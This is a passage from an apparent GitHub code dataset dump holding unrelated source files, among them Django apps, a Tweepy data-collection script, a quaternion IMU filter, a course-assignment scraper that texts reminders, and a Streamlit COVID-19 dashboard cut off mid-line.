**kwargs):\n    if instance.event_picture:\n        remove_entity_avatar_on_deletion_or_update.delay(\n            instance.event_picture.public_id\n        )\n\n\n@receiver(pre_save, sender=Event)\ndef delete_old_event_picture_on_update(sender, instance, **kwargs):\n    if instance.event_picture:\n        try:\n            event_picture_to_remove = Event.objects.get(pk=instance.pk).event_picture\n            if event_picture_to_remove:\n                remove_entity_avatar_on_deletion_or_update.delay(\n                    event_picture_to_remove.public_id\n                )\n        except ObjectDoesNotExist:\n            return\n","repo_name":"vasskess/MyEventWorld","sub_path":"MyEventWorld/accounts/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":2228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21196460252","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct  3 12:09:52 2020\n\n@author: ishan\n\"\"\"\n\nimport json\n\nwhile True:\n    y=input(\"enter a word\\n\")\n    if y=='.q' or y=='.Q':\n        break\n    z=y.split()\n    with open('dict.json', 'r+') as f:\n        dictionary=json.loads(f.read())\n        for word in z:\n            try:\n                print(\"\\n\", dictionary[0][word])\n            except:\n                    print('that word is not in the dictionary\\n')\n                    dtype=input('what type of word is that, like a greeting or question or something like that:\\n')\n                    dictionary[0][word]=dtype\n                    with open('dict.json', 'r+') as f:\n                        x=[dictionary[0]]\n                        json.dump(x, f)\n                        dictionary.pop()","repo_name":"hi101000/englishlexer","sub_path":"datatypes.py","file_name":"datatypes.py","file_ext":"py","file_size_in_byte":809,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2874601253","text":"import numpy as np\nimport pandas as pd\nfrom random import uniform\nfrom math import floor, ceil\n\nclass QueueTimeSimulator:\n    # Def generator with initial mean and sigma\n    def __init__(self, mu, sigma, rate_of_arrival):\n        # Define atributes\n        self.mu = mu\n        self.sigma = sigma\n        self.rate_of_arrival = rate_of_arrival\n        self.times = []\n        self.analysis = pd.Series(dtype=\"object\")\n\n        # Run initial method\n        self.define_high_and_low_boundaries()\n    \n    # Make gen time method\n    def gen_times(self):\n        # See if the lenght of already picked times is equal or higher than a \"semi-aleatory\" boundarie\n        if len(self.times) >= self.pick_rate_of_arrival_boundarie():\n            time = 30 - sum(self.times)\n            \n            # Save the information about it being equal to lower boundarie, or if the higher boundarie was picked\n            if len(self.times) == self.lower:\n                self.analysis = pd.concat([self.analysis, pd.Series(\"Down\")], ignore_index=True)\n            \n            else:\n                self.analysis = pd.concat([self.analysis, pd.Series(\"Up\")], ignore_index=True)\n\n            # Set times list as empty\n            self.times = []\n\n            # Return the time\n            return time\n        \n        # If not just make a smal timestamp\n        else:\n            time = np.random.normal(self.mu, self.sigma)\n            time = time if time > 0 else 0\n            self.times.append(time)\n            return time\n\n    # Define the lower and higher boundarie\n    def define_high_and_low_boundaries(self):\n        self.lower = floor(self.rate_of_arrival) - 1\n        self.higher = ceil(self.rate_of_arrival) - 1\n\n        return None\n\n    def pick_rate_of_arrival_boundarie(self):\n        # Select a rand between 0 and 1\n        _picked_rate = uniform(0, 1)\n\n        # Select float part of rate\n        _float_part = self.rate_of_arrival % 1\n\n        # Return picked boundarie\n        if _picked_rate < (1 - _float_part):\n            return self.lower\n\n        else:\n            return self.higher","repo_name":"PedroCtba/interval-generators-simpy","sub_path":"chainedQueueTimeSimulator.py","file_name":"chainedQueueTimeSimulator.py","file_ext":"py","file_size_in_byte":2090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"16046248312","text":"from django.shortcuts import render\nfrom django.http import HttpResponse,HttpResponseRedirect\nfrom .tasks import sleepy, sendemailtask, parseXML, changeText\nfrom .forms import UploadXMLForm,ChangeTextForm\nfrom django.shortcuts import redirect\nfrom xml_app.models import (\n    Element,\n    Parentship,\n    Attribute,\n    FileXML\n)\n# Create your views here.\n\n\n\ndef multiple_forms(request):\n    if request.method == 'POST':\n        upload_form = UploadXMLForm(request.POST)\n        changetext_form = ChangeTextForm(request.POST)\n        print(request.POST)\n        if upload_form.is_valid() and 'oldText' not in request.POST:\n            print(\"girdim\")\n            parseXML.delay(request.user.email , upload_form.cleaned_data['name'],upload_form.cleaned_data['newText'])\n            return redirect('/' )\n        elif changetext_form.is_valid():\n            \n            changeText.delay(\n                request.user.email,\n                changetext_form.cleaned_data['name'].id,\n                changetext_form.cleaned_data['oldText'],\n                changetext_form.cleaned_data['newText']\n                )\n            \n            return redirect('/' )\n    else:\n        upload_form = UploadXMLForm()\n        changetext_form = ChangeTextForm()\n    return render(request, 'xml_app/xmlapp.html', {\n        'upload_form': upload_form,\n        'changetext_form': changetext_form,\n    })\n\n","repo_name":"nidyaonur/sample-xml-project","sub_path":"xml_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22044391291","text":"from django.urls import path\nfrom . import views\n\n\"\"\"\n1번 유저에 대한 휴가 생성\n/accounts/1/leave/grant\n인증된 유저가 휴가를 사용\n/leave/use\n\"\"\"\n\nurlpatterns = [\n    path('', views.leave_history_view),\n    path('grant/', views.GrantCreateView.as_view()),  # /accounts/<user_id>/grant\n    path('use/', views.UseCreateView.as_view()),  # /use\n    path('count/', views.use_count_view),\n    path('use/<int:pk>/', views.UseUpdateView.as_view())\n]\n","repo_name":"Joje1283/sunday","sub_path":"leaves/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"70545601289","text":"\"\"\"\n# PROBLEM 30\n\nSurprisingly there are only three numbers that can be written as the sum of fourth powers of their\ndigits:\n\n1634 = 1^4 + 6^4 + 3^4 + 4^4\n8208 = 8^4 + 2^4 + 0^4 + 8^4\n9474 = 9^4 + 4^4 + 7^4 + 4^4\n\nAs 1 = 1^4 is not a sum it is not included.\n\nThe sum of these numbers is 1634 + 8208 + 9474 = 19316.\n\nFind the sum of all the numbers that can be written as the sum of fifth powers of their digits.\n\"\"\"\n\n\n# Okay, so this is a very mathy problem. But presumable the sums blow up so quickly that it\n# becomes okay; that is to say, there's a point (a number of digits) where it becomes clear\n# that you're just always going to overshoot (or, if you're just doing 1s and 2s, undershoot).\n\n\n# Now watch as I try something simple\nresults = []\n\n\ndef check_numbers(current_number, current_sum, remaining_calls):\n    if remaining_calls:\n        for i in range(10):\n            additional = i ** 5\n            new_number = current_number + str(i)\n            new_sum = current_sum + additional\n            if int(new_number) == new_sum:\n                results.append(new_number)\n            check_numbers(new_number, new_sum, remaining_calls - 1)\n\n\ncheck_numbers('', 0, 7)  # empirically, 7 gives no more results than 6, so let's count this as good?\n\nresults = list(set([int(i) for i in results if int(i) > 1]))\n\nprint(sum(results))\n\n\n# I think there's a much smart solution to this problem involving heuristics (e.g. you're currently\n# at a certain number of digits in both your sum and your products, which numbers can you add that\n# will even give you the same order of magnitude) but this seems very complicated and my intuition\n# was that we were only really going to be a few orders of magnitude higher than the ^4 case, which\n# is very brute forceable on modern hardware\n","repo_name":"zejacobi/ProjectEuler","sub_path":"Solutions/0030.py","file_name":"0030.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"71584460488","text":"# import numpy as np\nimport math\n\n\nclass QuaternionFilter:\n    def __init__(self, node):\n        # gyroscope measurement error in rads/s (start at 40 deg/s)\n        GyroMeasError = math.pi * (40.0 / 180.0)\n        self.beta = math.sqrt(3.0 / 4.0) * GyroMeasError   # compute beta\n        self.last_update = None\n        self.quaternion = [1.0, 0.0, 0.0, 0.0]\n        self.node = node\n\n    def update(self,  ax,  ay,  az,  gx,  gy,  gz,  mx,  my,  mz):\n        # updateParams()\n        q1 = self.quaternion[0]\n        q2 = self.quaternion[1]\n        q3 = self.quaternion[2]\n        q4 = self.quaternion[3]  # short name local variable for readability\n\n        _2q1 = 2.0 * q1\n        _2q2 = 2.0 * q2\n        _2q3 = 2.0 * q3\n        _2q4 = 2.0 * q4\n        _2q1q3 = 2.0 * q1 * q3\n        _2q3q4 = 2.0 * q3 * q4\n        q1q1 = q1 * q1\n        q1q2 = q1 * q2\n        q1q3 = q1 * q3\n        q1q4 = q1 * q4\n        q2q2 = q2 * q2\n        q2q3 = q2 * q3\n        q2q4 = q2 * q4\n        q3q3 = q3 * q3\n        q3q4 = q3 * q4\n        q4q4 = q4 * q4\n\n        # gx *= math.pi / 180.f\n        # gy *= math.pi / 180.f\n        # gz *= math.pi / 180.f\n\n        if type(self.last_update) is type(None):\n            self.last_update = self.node.get_clock().now()\n        now = self.node.get_clock().now()\n        duration = now - self.last_update\n        deltat = duration.nanoseconds / 1e9\n        self.last_update = now\n\n        # Normalise accelerometer measurement\n        norm = math.sqrt(ax * ax + ay * ay + az * az)\n        if (norm == 0.0):\n            return  # handle NaN\n        norm = 1.0 / norm\n        ax *= norm\n        ay *= norm\n        az *= norm\n\n        # Normalise magnetometer measurement\n        norm = math.sqrt(mx * mx + my * my + mz * mz)\n        if (norm == 0.0):\n            return  # handle NaN\n        norm = 1.0 / norm\n        mx *= norm\n        my *= norm\n        mz *= norm\n\n        # Reference direction of Earth's magnetic field\n        _2q1mx = 2.0 * q1 * mx\n        _2q1my = 2.0 * q1 * my\n        _2q1mz = 2.0 * q1 * mz\n        _2q2mx = 2.0 * q2 * mx\n        hx = mx * q1q1 - _2q1my * q4 + _2q1mz * q3 + mx * q2q2 + \\\n            _2q2 * my * q3 + _2q2 * mz * q4 - mx * q3q3 - mx * q4q4\n        hy = _2q1mx * q4 + my * q1q1 - _2q1mz * q2 + _2q2mx * \\\n            q3 - my * q2q2 + my * q3q3 + _2q3 * mz * q4 - my * q4q4\n        _2bx = math.sqrt(hx * hx + hy * hy)\n        _2bz = -_2q1mx * q3 + _2q1my * q2 + mz * q1q1 + _2q2mx * \\\n            q4 - mz * q2q2 + _2q3 * my * q4 - mz * q3q3 + mz * q4q4\n        _4bx = 2.0 * _2bx\n        _4bz = 2.0 * _2bz\n\n        # Gradient decent algorithm corrective step\n        s1 = -_2q3 * (2.0 * q2q4 - _2q1q3 - ax) + _2q2 * (2.0 * q1q2 + _2q3q4 - ay) - _2bz * q3 * (_2bx * (0.5 - q3q3 - q4q4) + _2bz * (q2q4 - q1q3) - mx) + \\\n            (-_2bx * q4 + _2bz * q2) * (_2bx * (q2q3 - q1q4) + _2bz * (q1q2 + q3q4) -\n                                        my) + _2bx * q3 * (_2bx * (q1q3 + q2q4) + _2bz * (0.5 - q2q2 - q3q3) - mz)\n        s2 = _2q4 * (2.0 * q2q4 - _2q1q3 - ax) + _2q1 * (2.0 * q1q2 + _2q3q4 - ay) - 4.0 * q2 * (1.0 - 2.0 * q2q2 - 2.0 * q3q3 - az) + _2bz * q4 * (_2bx * (0.5 - q3q3 - q4q4) + _2bz *\n                                                                                                                                                    (q2q4 - q1q3) - mx) + (_2bx * q3 + _2bz * q1) * (_2bx * (q2q3 - q1q4) + _2bz * (q1q2 + q3q4) - my) + (_2bx * q4 - _4bz * q2) * (_2bx * (q1q3 + q2q4) + _2bz * (0.5 - q2q2 - q3q3) - mz)\n        s3 = -_2q1 * (2.0 * q2q4 - _2q1q3 - ax) + _2q4 * (2.0 * q1q2 + _2q3q4 - ay) - 4.0 * q3 * (1.0 - 2.0 * q2q2 - 2.0 * q3q3 - az) + (-_4bx * q3 - _2bz * q1) * (_2bx * (0.5 - q3q3 - q4q4) + _2bz *\n                                                                                                                                                                    (q2q4 - q1q3) - mx) + (_2bx * q2 + _2bz * q4) * (_2bx * (q2q3 - q1q4) + _2bz * (q1q2 + q3q4) - my) + (_2bx * q1 - _4bz * q3) * (_2bx * (q1q3 + q2q4) + _2bz * (0.5 - q2q2 - q3q3) - mz)\n        s4 = _2q2 * (2.0 * q2q4 - _2q1q3 - ax) + _2q3 * (2.0 * q1q2 + _2q3q4 - ay) + (-_4bx * q4 + _2bz * q2) * (_2bx * (0.5 - q3q3 - q4q4) + _2bz * (q2q4 - q1q3) - mx) + \\\n            (-_2bx * q1 + _2bz * q3) * (_2bx * (q2q3 - q1q4) + _2bz * (q1q2 + q3q4) -\n                                        my) + _2bx * q2 * (_2bx * (q1q3 + q2q4) + _2bz * (0.5 - q2q2 - q3q3) - mz)\n        norm = math.sqrt(s1 * s1 + s2 * s2 + s3 * s3 + s4 *\n                         s4)    # normalise step magnitude\n        norm = 1.0/norm\n        s1 *= norm\n        s2 *= norm\n        s3 *= norm\n        s4 *= norm\n\n        # Compute rate of change of quaternion\n        qDot1 = 0.5 * (-q2 * gx - q3 * gy - q4 * gz) - self.beta * s1\n        qDot2 = 0.5 * (q1 * gx + q3 * gz - q4 * gy) - self.beta * s2\n        qDot3 = 0.5 * (q1 * gy - q2 * gz + q4 * gx) - self.beta * s3\n        qDot4 = 0.5 * (q1 * gz + q2 * gy - q3 * gx) - self.beta * s4\n\n        # Integrate to yield quaternion\n        q1 += qDot1 * deltat\n        q2 += qDot2 * deltat\n        q3 += qDot3 * deltat\n        q4 += qDot4 * deltat\n        norm = math.sqrt(q1 * q1 + q2 * q2 + q3 * q3 +\n                         q4 * q4)    # normalise quaternion\n        norm = 1.0/norm\n        self.quaternion[0] = q1 * norm\n        self.quaternion[1] = q2 * norm\n        self.quaternion[2] = q3 * norm\n        self.quaternion[3] = q4 * norm\n","repo_name":"lxsang/jarvis","sub_path":"ros2/src/jarvis_core/jarvis_core/imu.py","file_name":"imu.py","file_ext":"py","file_size_in_byte":5415,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"74664701447","text":"\"\"\"Test order function\n\"\"\"\n\nimport pytest\n\nPARAMS_TABLE = [\n    (\"is2 Thi1s T4est 3a\", \"Thi1s is2 3a T4est\"),\n    (\"man2y H1ow i3s 4this\", \"H1ow man2y i3s 4this\"),\n    (\"fo4r re3ady the5 1I weeke6nd 2am\", \"1I 2am re3ady fo4r the5 weeke6nd\"),\n    (\"not4 o3r Py2thon 1To P6ython t5o\", \"1To Py2thon o3r not4 t5o P6ython\"),\n    (\"yea1h\", \"yea1h\"),\n]\n\n\n@pytest.mark.parametrize('l, result', PARAMS_TABLE)\ndef test_order(l, result):\n    \"\"\"Test order function\"\"\"\n    from your_order_please import order\n    assert order(l) == result\n","repo_name":"kurtrm/code-katas","sub_path":"src/test_your_order_please.py","file_name":"test_your_order_please.py","file_ext":"py","file_size_in_byte":527,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"87379459","text":"\r\n#Using the REST API to collect historical data\r\nimport tweepy  \r\nimport time\r\n\r\n#use your own key and tokens\r\naccess_token = \" enter here\" \r\naccess_token_secret = \" enter here\" \r\nconsumer_key = \" enter here\"  \r\nconsumer_secret = \" enter here\"  \r\n \r\nauth = tweepy.OAuthHandler(consumer_key, consumer_secret)  \r\nauth.set_access_token(access_token, access_token_secret)  \r\napi = tweepy.API(auth,wait_on_rate_limit= True)\r\n\r\n#Obtaining Twitter’s Id with the screen name and vice versa\r\nuser = api.get_user(screen_name = 'theresa_may')  \r\nprint(user.id)\r\n\r\nuser = api.get_user(747807250819981312)  \r\nprint(user.screen_name)\r\n\r\n\r\n#Gathering the tweets from the Timeline of a certain user\r\ntry:  \r\n    for tweet in tweepy.Cursor(api.user_timeline, screen_name=\"theresa_may\", exclude_replies=True, count = 10).items():  \r\n                    tweet_text = tweet.text  \r\n                    time = tweet.created_at  \r\n                    tweeter = tweet.user.screen_name  \r\n                    print(\"Text:\" + tweet_text + \", Timestamp:\" + str(time) + \", user:\" +  tweeter)  \r\nexcept tweepy.TweepError:  \r\n    time.sleep(60)\r\n\r\n\r\nimport json    \r\ntry:  \r\n    for tweet in tweepy.Cursor(api.user_timeline, screen_name=\"theresa_may\", exclude_replies=True, count = 10).items():  \r\n                    tweet_text = tweet.text  \r\n                    time = tweet.created_at  \r\n                    tweeter = tweet.user.screen_name  \r\n                    tweet_dict = {\"tweet_text\" : tweet_text.strip(), \"timestamp\" : str(time), \"user\" :tweeter}  \r\n                    tweet_json = json.dumps(tweet_dict)  \r\n                    print(tweet_json)  \r\nexcept tweepy.TweepError:  \r\n    time.sleep(60)\r\n\r\n#Gathering the followers of a certain user.\r\ntry:   \r\n    followers = api.followers_ids(screen_name=\"theresa_may\")  \r\nexcept tweepy.TweepError:  \r\n    time.sleep(20)\r\n\r\n\r\nuser_list = [\"AaltoUniversity\", \"helsinkiuni\",\"HAAGAHELIAamk\", \"AaltoENG\"]\r\nfollower_list = []  \r\nfor user in user_list:  \r\n    try:   \r\n        followers = api.followers_ids(screen_name=user)  \r\n    except tweepy.TweepError:  \r\n        time.sleep(20)  \r\n        continue  \r\n    follower_list.append(followers)\r\n\r\nfor index, user in enumerate(user_list):  \r\n    print(\"User: \" + user + \"\\t Number of followers: \" + str(len(follower_list[index])))\r\n\r\n#--------------another way-----------------------\r\nuser_list = [\"AaltoUniversity\", \"helsinkiuni\",\"HAAGAHELIAamk\", \"AaltoENG\"]    \r\nfollower_list = []  \r\nfor user in user_list: \r\n    followers = []  \r\n    try:         \r\n        for page in tweepy.Cursor(api.followers_ids, screen_name=user).pages():  \r\n            followers.extend(page)  \r\n    except tweepy.TweepError:  \r\n        time.sleep(20)  \r\n        continue  \r\n    follower_list.append(followers)\r\n\r\nfor index, user in enumerate(user_list):  \r\n    print(\"User: \" + user + \"\\t Number of followers: \" + str(len(follower_list[index])))\r\n\r\n#Collecting the friends of a certain user.\r\nfriends = []  \r\ntry:   \r\n    for page in tweepy.Cursor(api.friends_ids, screen_name=\"theresa_may\").pages():  \r\n        friends.extend(page)  \r\nexcept tweepy.TweepError:  \r\n    time.sleep(20)\r\n\r\n#Seeing the number of followers/friends of a certain user.\r\nuser = api.get_user(screen_name = 'theresa_may')  \r\nprint(user.followers_count)  \r\nprint(user.friends_count)\r\n#-----------------another way-----------------\r\nuser = api.get_user(747807250819981312)\r\nprint(user.followers_count)  \r\nprint(user.friends_count)\r\n\r\n\r\n    \r\n","repo_name":"harip25/REST-API-Twitter_data","sub_path":"Rest API TWEETY.py","file_name":"Rest API TWEETY.py","file_ext":"py","file_size_in_byte":3467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"14924262671","text":"import setuptools\nfrom os import path\n\nthis_directory = path.abspath(path.dirname(__file__))\nwith open(path.join(this_directory, 'README.md')) as f:\n    long_description = f.read()\n\nsetuptools.setup(\n    name=\"ThedexMessaging\",\n    version=\"0.1.4\",\n    author=\"Kai Reichart\",\n    author_email=\"kai@reichart.dev\",\n    description=\"A Package to create Messages for the Thedex Messaging API\",\n    long_description=\"[See the GitHub Page for more Details](https://github.com/KaiReichart/Thedex_Messaging.py)\",\n    long_description_content_type=\"text/markdown\",\n    url=\"https://github.com/KaiReichart/Thedex_Messaging.py\",\n    download_url=\"https://github.com/KaiReichart/Thedex_Messaging.py/archive/v0.1.4.tar.gz\",\n    packages=setuptools.find_packages(),\n    install_requires=[\n          'datetime',\n      ],\n    classifiers=[\n        \"Development Status :: 4 - Beta\",\n        \"Programming Language :: Python :: 3\",\n        \"License :: OSI Approved :: MIT License\",\n        \"Operating System :: OS Independent\",\n    ],\n    python_requires='>=3.6',\n)\n","repo_name":"KaiReichart/Thedex_Messaging.py","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1047,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42391287675","text":"# -*- coding: UTF-8 -*-\nfrom django.conf.urls import url, include\nfrom .api import *\nfrom .views import *\n\n# API的后缀不需要“/”\napi_urls = [\n    url(r\"^testsuites$\", TestSuiteList.as_view(), name=\"testsuite-list\"),\n    url(r\"^testsuites/(?P<pk>\\d+)$\", TestSuiteDetail.as_view(), name=\"testsuite-detail\"),\n    url(r\"^testsuites/(?P<suite_id>\\d+)/suitereports$\", SuiteReportList.as_view(), name=\"suitereport-list\"),\n    url(r\"^testsuites/(?P<suite_id>\\d+)/suitereports/(?P<pk>\\d+)$\", SuiteReportDetail.as_view(), name=\"suitereport-detail\"),\n]\n\nurlpatterns = [\n    url(r\"^api/\", include(api_urls)),\n    url(r\"^$\", CaseExecution.as_view(), name=\"execution\"),\n    url(r\"^suites/$\", SuitesView.as_view(), name=\"new_suite\"),\n    url(r\"^suites/(?P<suite_id>\\d+)/reports/$\", SuiteRun.as_view(), name=\"suite_reports\"),\n\n\n    # AJAX\n    url(r\"^suite/save/$\", SuitesView.save_suite, name=\"save_suite\"),\n    # url(r\"^report/tree/$\", SuiteRun.report_tree, name=\"report_tree\"),\n    url(r\"^suite/run/$\", SuiteRun.run, name=\"run\"),\n]\n","repo_name":"leixiayang/interface_web","sub_path":"execution/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"16"}
+{"seq_id":"41979620837","text":"from bs4 import BeautifulSoup\nimport requests\nimport smtplib\nfrom email.mime.text import MIMEText\nfrom confidentials import *\nimport math\nimport time\n\nsession = requests.Session()\ndata = { 'd2l_referer': '', 'userName': userName, 'password': password }\nsession.post(\"https://elearn.mscc.edu/d2l/lp/auth/login/login.d2l\", data=data);\nhistory = session.get(\"https://elearn.mscc.edu/d2l/home/6810221\"); #change this link by checking network logs for the address you ping for each class when you click on that class's tab\nsoup = BeautifulSoup(history.content, \"html5lib\")\nassignmentsDivs = soup.findAll('div', class_='d2l-collapsepane')\nassigmentsList = assignmentsDivs[1].find('ul')\nassignments = assigmentsList.findAll('li')\ndata = []\ntitle = soup.find(\"a\", class_=\"d2l-menuflyout-link-link\")\ndata.append(title.text)\nstring = \"\"\nREMOVE_STRING = \"View Event - \"\nfor assignment in assignments:\n    spans = assignment.findAll(\"span\")\n    for index in range(len(assignment.findAll(\"div\", class_=\"d2l-textblock\"))):\n        if(index % 2 == 0):\n            string = assignment.findAll(\"div\", class_=\"d2l-textblock\")[index].text\n        else:\n            string += \" \"\n            string += assignment.findAll(\"div\", class_=\"d2l-textblock\")[index].text\n            data.append(string)\n    for index in range(len(spans)):\n        if(index != 0):\n            if(index == 1):\n                if(REMOVE_STRING in spans[index].text):\n                    data[-1] += \" at \" + spans[index].text.replace(REMOVE_STRING, \"\")\n                else:\n                    data[-1] += \" at \" + spans[index].text\n            else:\n                if(REMOVE_STRING in spans[index].text):\n                    data.append(spans[index].text.replace(REMOVE_STRING, \"\"))\n                else:\n                    data.append(spans[index].text)\ndataString = \"Here are your reminders for the day:\\n\"\nfor string in data:\n    dataString += string + \"\\n\"\nstringList = []\ntextsNum = math.ceil(len(dataString)/140)\nmsg = MIMEText(dataString)\nmsg['Subject'] = \"\"\nmsg['From'] = myEmail\nmsg['To'] = phone\n\nserver = smtplib.SMTP('smtp.gmail.com', 587)\nserver.starttls()\nserver.login(myEmail, gpass)\nserver.sendmail(myEmail, [phone], msg.as_string())\nserver.quit()\n","repo_name":"TimGass/SimplePythonScripts","sub_path":"checkHistoryAssignments.py","file_name":"checkHistoryAssignments.py","file_ext":"py","file_size_in_byte":2221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"33841063680","text":"import datetime\r\nfrom email.policy import default\r\nfrom tkinter import Label\r\nfrom turtle import position, width\r\nfrom matplotlib import container, pyplot\r\nimport streamlit as st\r\nimport pandas as pd\r\nimport plotly\r\nimport matplotlib.pyplot as plt\r\nfrom streamlit_option_menu import option_menu\r\nfrom numpy import isin\r\nimport plotly.express as px\r\n\r\nst.write(\r\n    '<style>div.row-widget.stRadio > div{flex-direction:row;justify-content: space-evenly;}</style>', unsafe_allow_html=True)\r\ndf = pd.read_csv(\"Data\\cases_timeseries_canada.csv\")\r\ndf.columns = [\"Country\", \"Date\", \"DailyCasesCountry\", \"CumulativeDailyCases_country\", \"DailyDeathsCountry\",\r\n              \"CumulativeDailyDeaths\", \"DailyRecoveredCountry\", \"CumulativeDailyRecoveredCountry\", \"DailyTestingCountry\", \"CumulativeDailyTestingCountry\"]\r\ndf['Date'] = pd.to_datetime(df['Date']).dt.strftime('%Y-%m-%d')\r\nprovince_data = pd.read_csv(\"Data\\cases_timeseries_prov.csv\")\r\nprovince_data.columns = [\"Country\", \"prov_code\", \"Province\", \"Date\", \"Daily_Cases\", \"Cumulative_Cases\", \"Daily_Deaths\",\r\n                         \"Cumulative_Deaths\", \"Daily_Recovered\", \"Cumulative_Recovered\", \"Daily_Testing\", \"Cumulative_Testing\"]\r\nprovince_data['Date'] = pd.to_datetime(\r\n    province_data['Date']).dt.strftime('%Y-%m-%d')\r\n\r\nwith st.sidebar:\r\n    selected = option_menu(\r\n        menu_title=None,\r\n        options=[\"Home\", \"Cases\", \"Mortality\",\r\n                 \"Recovered\", \"Testing\", \"Age wise Data\"],\r\n        icons=['card-list', 'clipboard-plus', \"heart pulse\",\r\n               'file-earmark-plus', \"eyedropper\", 'people'],\r\n        default_index=0,\r\n\r\n        styles={\"container\": {\"padding\": \"0!important\", \"width\": \"100%\", \"background-color\": \"#eee\", \"margin\": \"0\"},\r\n                \"icon\": {\"color\": \"purple\", \"font-size\": \"20px\"},\r\n                \"nav-link\": {\"font-size\": \"15px\", \"text-align\": \"left-align\", \"margin\": \"0px\", \"--hover-color\": \"white\"},\r\n                \"nav-link-selected\": {\"background-color\": \"black\", \"text-color\": \"white\"}, }\r\n\r\n    )\r\n\r\nif selected == \"Home\":\r\n    st.markdown(\"\"\"\r\n    # Covid-19 in Canada\r\n    Coronavirus disease 2019 (COVID-19) is a highly contagious viral illness caused by severe acute respiratory syndrome SARS-CoV-2. It has had a devastating effect on the world’s demographics resulting in more than 5.3 million deaths worldwide. It has emerged as the most consequential global health crisis since the era of the influenza pandemic of 1918. This dashboard provides summary of COVID-19 cases across Canada and over time. It Contains detailed data about the spread of the virus over time and in different regions of the country.  It also includes breakdowns by age and sex or gender and provides an overview of deaths, testing and recoveries.\r\n    \"\"\")\r\n    st.image(\"giphy-downsized.gif\", width=700)\r\n\r\n# Cases\r\nif selected == \"Cases\":\r\n    st.markdown(\"\"\"\r\n    # Daily Reported Cases in Canada\r\n    \"\"\")\r\n\r\n    daily = st.radio(\"\", options=[\"Daily Report\",\r\n                     \"Cumulative Report\", \"Pie Chart\"])\r\n\r\n    if daily == \"Daily Report\":\r\n        st.markdown(\"\"\"\r\n    ##### Daily Report of Covid Cases\r\n    ###### Date Range\r\n    \"\"\")\r\n        a = st.date_input(\"From\", datetime.date(2020, 1, 25), min_value=(\r\n            datetime.date(2020, 1, 25)), max_value=(datetime.date.today()))\r\n        b = st.date_input(\"to\", min_value=(datetime.date(\r\n            2020, 1, 25)), max_value=(datetime.date.today()))\r\n        fig = px.bar(df, x='Date', y=\"DailyCasesCountry\", range_y=[\r\n            0, 75000], range_x=[a, b], labels={'DailyCasesCountry': 'Daily Cases'})\r\n        fig.update_layout(width=700)\r\n        st.write(fig)\r\n    if daily == \"Cumulative Report\":\r\n        st.markdown(\r\n            '##### Cumulative Report of Covid Cases in Canada by Province')\r\n        fig1 = px.bar(province_data, x='Cumulative_Cases', y=\"Province\", color=\"Province\", orientation=\"h\", range_x=[\r\n            0, 1200000], animation_frame='Date', animation_group=\"Province\")\r\n        fig1.layout.updatemenus[0].buttons[0].args[1]['frame']['duration'] = 20\r\n        fig1.layout.updatemenus[0].buttons[0].args[1]['transition']['duration'] = 5\r\n        fig1.update_layout(width=700)\r\n        st.write(fig1)\r\n    if daily == \"Pie Chart\":\r\n        st.markdown(\"\"\"\r\n        ##### Percentage of Covid Cases in Canada by Province\r\n        \"\"\")\r\n        fig4 = px.pie(province_data, values=\"Cumulative_Cases\",\r\n                      names=\"Province\", color_discrete_sequence=px.colors.sequential.Plasma_r)\r\n        st.write(fig4)\r\n\r\n\r\n# Mortality\r\nif selected == \"Mortality\":\r\n    st.title(\"Daily Reported Deaths in Canada\")\r\n    st.markdown('##### Which Report You Want to See?')\r\n    rad = st.radio(\"\", [\"Daily Death Report\",\r\n                   \"Cumulative Reported Death\", \"Pie Chart\"])\r\n    if rad == \"Daily Death Report\":\r\n        st.markdown('###### Date Range')\r\n        c = st.date_input(\"From\", datetime.date(2020, 1, 25), min_value=(\r\n            datetime.date(2020, 1, 25)), max_value=(datetime.date.today()))\r\n        d = st.date_input(\"To\", min_value=(datetime.date(\r\n            2020, 1, 25)), max_value=(datetime.date.today()))\r\n        st.markdown('##### Daily Death Reports in Canada')\r\n        fig2 = px.bar(df, x='Date', y=\"DailyDeathsCountry\", range_y=[\r\n            0, 280], range_x=[c, d], labels={'DailyDeathsCountry': 'Daily Deaths by Country'})\r\n        fig2.update_layout(width=700)\r\n        st.write(fig2)\r\n        st.markdown('##### Daily Death Reports in Canada by Province')\r\n        province_options = province_data['Province'].unique().tolist()\r\n        province_select = st.multiselect(\r\n            'Select Province', province_options, 'Alberta')\r\n        province_data = province_data[province_data['Province'].isin(\r\n            province_select)]\r\n        fig3 = px.line(province_data, x='Date', y=\"Daily_Deaths\", color=\"Province\", range_y=[\r\n            0, 210], range_x=[c, d], labels={'Daily_Deaths': 'Daily Deaths by Province'})\r\n        fig3.update_layout(width=700)\r\n        st.write(fig3)\r\n    if rad == \"Cumulative Reported Death\":\r\n        st.markdown('##### Cumulative Reported Death in Canada by Province')\r\n        fig = px.line(province_data, x='Date',\r\n                      y=\"Cumulative_Deaths\", color=\"Province\", labels={'Cumulative_Deaths': 'Cumulative 